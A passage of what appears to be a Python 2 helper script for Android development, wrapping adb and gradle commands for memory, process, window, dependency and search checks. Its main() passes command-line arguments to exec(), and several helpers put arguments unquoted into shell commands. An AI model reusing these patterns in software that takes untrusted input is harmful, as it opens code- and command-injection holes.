profile(): 68 | command("./gradlew assembleDebug --offline --profile") 69 | 70 | # 打印进程内存信息 71 | def mem(): 72 | command("adb shell dumpsys meminfo %s" % PACKAGE) 73 | 74 | # 打印进程相关信息(进程id、oom_adj值) 75 | def adj(): 76 | command_str = "adb shell ps | grep %s | grep -v : | awk '{print $2}'" % PACKAGE 77 | p = os.popen(command_str) 78 | pid = p.readline().strip() 79 | print "process id:%s" % pid 80 | command("adb root") 81 | print "process oom_adj:" 82 | command("adb shell cat /proc/%s/oom_adj" % pid) 83 | 84 | # 查看窗口层级 85 | def window(*args): 86 | if len(args)==0: 87 | arg = 0 88 | else: 89 | arg = args[0][0] 90 | command("adb shell dumpsys window windows | grep 'Window #' --color -A %s" % arg) 91 | 92 | # 打印module依赖关系 93 | def depend(*args): 94 | if len(args)==0: 95 | arg = DEFAULT_MODULE 96 | else: 97 | arg = args[0][0] 98 | command("./gradlew -q %s:dependencies" % arg) 99 | 100 | # 全局搜索内容 101 | def search(*args): 102 | if len(args)==0: 103 | return 104 | else: 105 | arg = args[0][0] 106 | command("grep -E %s --exclude-dir={.git,lib,.gradle,.idea,build,captures} --exclude={*.jar} . -R --color=always -n" % arg) 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | # ----------- 方法缩写 ----------- 115 | def t(): 116 | top() 117 | 118 | def d(): 119 | debug() 120 | 121 | def c(): 122 | clear() 123 | 124 | def i(): 125 | install() 126 | 127 | 128 | 129 | 130 | def main(): 131 | args = None 132 | if len(sys.argv) > 2: 133 | action = sys.argv[1] 134 | args = sys.argv[2:] 135 | elif len(sys.argv) > 1: 136 | action = sys.argv[1] 137 | else: 138 | action = "help" 139 | if args is None: 140 | call = "%s()" % action 141 | else: 142 | call = "%s(%s)" % (action, args) 143 | exec(call) 144 | 145 | 146 | if __name__ == "__main__": 147 | main() --------------------------------------------------------------------------------